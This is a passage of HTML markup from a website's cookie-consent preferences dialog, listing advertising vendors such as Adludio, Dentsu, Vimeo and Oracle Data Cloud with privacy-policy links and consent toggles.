aria-label="Consent, Waystack" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1889"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>TreSensa</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="TreSensa, Privacy policy" tabindex="0" data-policy-link="http://tresensa.com/eu-privacy/index.html" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, TreSensa" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1958"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Adludio</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Adludio, Privacy policy" tabindex="0" data-policy-link="https://www.adludio.com/termsandconditions#privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Adludio" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="1960"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>gskinner</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="gskinner, Privacy policy" tabindex="0" data-policy-link="https://createjs.com/legal/privacy.html" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, gskinner" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="2072"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>CUBED</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="CUBED, Privacy policy" tabindex="0" data-policy-link="http://cubed.ai/privacy-policy/gdpr/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, CUBED" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="2253"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Optomaton</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Optomaton, Privacy policy" tabindex="0" data-policy-link="http://optomaton.com/privacy.html" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Optomaton" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="2299"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Dentsu Aegis Network</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Dentsu Aegis Network, Privacy policy" tabindex="0" data-policy-link="http://www.dentsu.com/termsofuse/data_policy.html" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Dentsu Aegis Network" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="2373"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Digiseg</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Digiseg, Privacy policy" tabindex="0" data-policy-link="https://digiseg.io/privacy-center/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Digiseg" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="2415"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Haensel AMS</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Haensel AMS, Privacy policy" tabindex="0" data-policy-link="https://haensel-ams.com/privacy-statement-us/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Haensel AMS" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="2506"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>BDSK Handels GmbH & Co. KG</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="BDSK Handels GmbH & Co. KG, Privacy policy" tabindex="0" data-policy-link="https://www.xxxlutz.de/c/privacy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, BDSK Handels GmbH & Co. KG" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="2526"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Objective Partners</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Objective Partners, Privacy policy" tabindex="0" data-policy-link="https://www.objectivepartners.com/cookie-policy-and-privacy-statement/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Objective Partners" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="2531"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Marketing Science Consulting Group, Inc.</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Marketing Science Consulting Group, Inc., Privacy policy" tabindex="0" data-policy-link="http://mktsci.com/privacy_policy.htm" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Marketing Science Consulting Group, Inc." aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="2568"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>DENTSU</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="DENTSU, Privacy policy" tabindex="0" data-policy-link="http://www.dentsu.co.jp/terms/data_policy.html" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, DENTSU" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="2571"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Kobler</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Kobler, Privacy policy" tabindex="0" data-policy-link="https://kobler.no/privacy-policy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Kobler" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="2575"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Widespace</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Widespace, Privacy policy" tabindex="0" data-policy-link="https://improvedigital.com/platform-privacy-policy/" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Widespace" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="2624"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Vimeo</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Vimeo, Privacy policy" tabindex="0" data-policy-link="https://vimeo.com/cookie_policy" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Vimeo" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="2677"><span class="fc-slider-el"></span></span></label></div><div class="fc-preference-container"><div class="fc-preference-title"><h2>Oracle Data Cloud</h2></div><div class="fc-preference-description"><a class="fc-vendor-policy-link" role="link" aria-label="Oracle Data Cloud, Privacy policy" tabindex="0" data-policy-link="https://www.oracle.com/legal/privacy/marketing-cloud-data-cloud-privacy-policy.html" href="#">Privacy policy<span class="notranslate fc-launch-icon-svg" aria-hidden="true"><svg width="16" height="16" viewBox="0 0 24 24" focusable="false" class=" NMm5M hhikbc"><path d="M19 19H5V5h7V3H5a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h14c1.1 0 2-.9 2-2v-7h-2v7zM14 3v2h3.59l-9.83 9.83 1.41 1.41L19 6.41V10h2V3h-7z"></path></svg></span></a></div><label class="fc-preference-slider-container fc-consent-preference-container"><span class="fc-preference-slider-label">Consent</span><span class="fc-preference-slider"><input type="checkbox" role="button" aria-label="Consent, Oracle Data Cloud" aria-pressed="false" tabindex="0" class="fc-preference-consent atp-vendor" data-id="2778"><span class="fc-slider-el"></span></span></label></div></div></div></div><div class="fc-footer-buttons-container"><div class="fc-footer-buttons-divider"></div><div class="fc-footer-buttons"><button class="fc-button fc-vendor-preferences-accept-all fc-secondary-button" role="button" aria-label="Accept all" tabindex="0"><div class="fc-button-background"></div><p class="fc-button-label">Accept all</p></button><button class="fc-button fc-confirm-choices fc-primary-button" role="button" aria-label="Confirm choices" tabindex="0"><div class="fc-button-background"></div><p class="fc-button-label">Confirm choices</p></button></div></div></div></div><div class="fc-help-dialog-container" role="dialog" tabindex="0" style="display: none !important;"><div class="fc-help-dialog-overlay"></div><div class="fc-help-dialog"><h1></h1><div class="fc-help-dialog-contents"></div><div class="fc-help-dialog-button-container"><button class="fc-help-dialog-close-button" role="button" aria-label="Close" tabindex="0"><p class="fc-help-dialog-close-button-label">Close</p></button></div></div></div></div></body></html>